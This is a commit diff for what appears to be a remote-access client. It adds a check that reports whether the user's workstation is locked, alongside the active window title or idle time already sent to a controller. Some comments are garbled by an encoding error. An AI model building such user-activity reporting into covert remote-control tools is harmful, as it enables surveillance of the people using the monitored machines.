Improve: Showing inactive locked client status
This commit is contained in:
@@ -33,7 +33,7 @@ public:
|
|||||||
if (isActive) {
|
if (isActive) {
|
||||||
return GetActiveWindowTitle();
|
return GetActiveWindowTitle();
|
||||||
}
|
}
|
||||||
return "Inactive: " + FormatMilliseconds(idle);
|
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||||
}
|
}
|
||||||
|
|
||||||
private:
|
private:
|
||||||
@@ -75,6 +75,20 @@ private:
|
|||||||
{
|
{
|
||||||
return (GetTickCount64() - GetLastInputTime());
|
return (GetTickCount64() - GetLastInputTime());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool IsWorkstationLocked() {
|
||||||
|
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>棬<EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE>л<EFBFBD><D0BB><EFBFBD> Winlogon
|
||||||
|
if (!hInput) return true;
|
||||||
|
char name[256] = {0};
|
||||||
|
DWORD needed;
|
||||||
|
bool isLocked = false;
|
||||||
|
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
|
||||||
|
isLocked = (_stricmp(name, "Winlogon") == 0);
|
||||||
|
}
|
||||||
|
CloseDesktop(hInput);
|
||||||
|
return isLocked;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
class CKernelManager : public CManager
|
class CKernelManager : public CManager
|
||||||
@@ -99,7 +113,8 @@ public:
|
|||||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected(); --i) Sleep(1000);
|
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
|
||||||
|
Sleep(1000);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if (g_bExit || !m_ClientObject->IsConnected())
|
if (g_bExit || !m_ClientObject->IsConnected())
|
||||||
|
|||||||
Reference in New Issue
Block a user